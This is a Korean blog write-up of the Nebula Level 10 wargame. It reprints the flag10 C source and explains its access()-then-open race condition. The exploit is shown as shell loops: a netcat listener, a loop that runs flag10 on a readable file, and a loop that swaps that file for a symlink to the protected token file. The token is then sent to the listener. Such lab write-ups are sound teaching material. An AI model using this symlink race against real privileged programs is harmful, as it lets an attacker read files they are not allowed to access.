PWNABLE] Nebula Level 10

woounnan·2020년 6월 3일
1

wargame

목록 보기
57/59
post-thumbnail

실행파일 인자로 파일, ip를 입력받고
파일의 내용을 해당 ip의 18211 포트로 전송한다.


Write up

level10 디렉토리에는 실행파일인 flag10과 플래그가 담긴 것으로 추측되는 token 파일을 확인할 수 있는데 당연하게도 token 파일을 전송하면 'You don't have access to token'이라는 메시지와 함께 프로그램이 종료된다.

일단 소스를 확인해본다.

소스는 다음의 페이지에서 확인할 수 있다.

http://exploit.education/nebula/level-10/

🎉 Source

flag10.cpp

#include <stdlib.h>
#include <unistd.h>
#include <sys/types.h>
#include <stdio.h>
#include <fcntl.h>
#include <errno.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <string.h>

int main(int argc, char **argv)
{
  char *file;
  char *host;

  if(argc < 3) {
      printf("%s file host\n\tsends file to host if you have access to it\n", argv[0]);
      exit(1);
  }

  file = argv[1];
  host = argv[2];

  if(access(argv[1], R_OK) == 0) {
      int fd;
      int ffd;
      int rc;
      struct sockaddr_in sin;
      char buffer[4096];

      printf("Connecting to %s:18211 .. ", host); fflush(stdout);

      fd = socket(AF_INET, SOCK_STREAM, 0);

      memset(&sin, 0, sizeof(struct sockaddr_in));
      sin.sin_family = AF_INET;
      sin.sin_addr.s_addr = inet_addr(host);
      sin.sin_port = htons(18211);

      if(connect(fd, (void *)&sin, sizeof(struct sockaddr_in)) == -1) {
          printf("Unable to connect to host %s\n", host);
          exit(EXIT_FAILURE);
      }

#define HITHERE ".oO Oo.\n"
      if(write(fd, HITHERE, strlen(HITHERE)) == -1) {
          printf("Unable to write banner to host %s\n", host);
          exit(EXIT_FAILURE);
      }
#undef HITHERE

      printf("Connected!\nSending file .. "); fflush(stdout);

      ffd = open(file, O_RDONLY);
      if(ffd == -1) {
          printf("Damn. Unable to open file\n");
          exit(EXIT_FAILURE);
      }

      rc = read(ffd, buffer, sizeof(buffer));
      if(rc == -1) {
          printf("Unable to read from file: %s\n", strerror(errno));
          exit(EXIT_FAILURE);
      }

      write(fd, buffer, rc);

      printf("wrote file!\n");

  } else {
      printf("You don't have access to %s\n", file);
  }
}

중요한 점은 access()로 파일에 대한 현재 계정의 권한을 확인하고(setuid랑은 상관없다.)

현재 계정이 읽을 수 있는 파일이라면 그 내용을 해당 ip로 전송한다.

🎪Race Condition Attack

경쟁 조건 공격을 생각해볼 수 있다.

/tmp/level10/test라는 임의의 파일을 전송한다고 가정할 때, access()가 통과된 뒤에 이 test 파일을 삭제하고 token에 대한 심볼릭 링크를 test로 다시 생성한다면?

token의 내용을 대상 ip에게 전송할 것이다.

🧺Proof

먼저 파일 내용을 수신하기 위해 netcat으로 18211 포트에 대해 리스닝한다.

netcat -l 18211 -k

다른 쉘에서는 옳은 권한의 파일 test를 생성한 뒤 flag10을 실행하여 access가 통과하도록 만든다.

while :; 
do 
	rm /tmp/level10/test; 
	echo 'this is test flag' > /tmp/level10/test; 
	./flag10 /tmp/level10/test 127.0.0.1;
done

또 하나의 쉘을 열고, 기존의 옳은 권한의 test를 삭제하고 token에 대한 심볼릭 링크 파일로 바꾸는 동작을 반복 실행시킨다.

while :; 
do 
	rm /tmp/level10/test; 
	ln -s /home/flag10/token /tmp/level10/test; 
done

세 개의 쉘을 동시에 실행하고 파일을 수신하는 쉘에서 수신된 내용을 확인해보면

중간에 token의 값이 출력되는 것을 확인할 수 있다.

0개의 댓글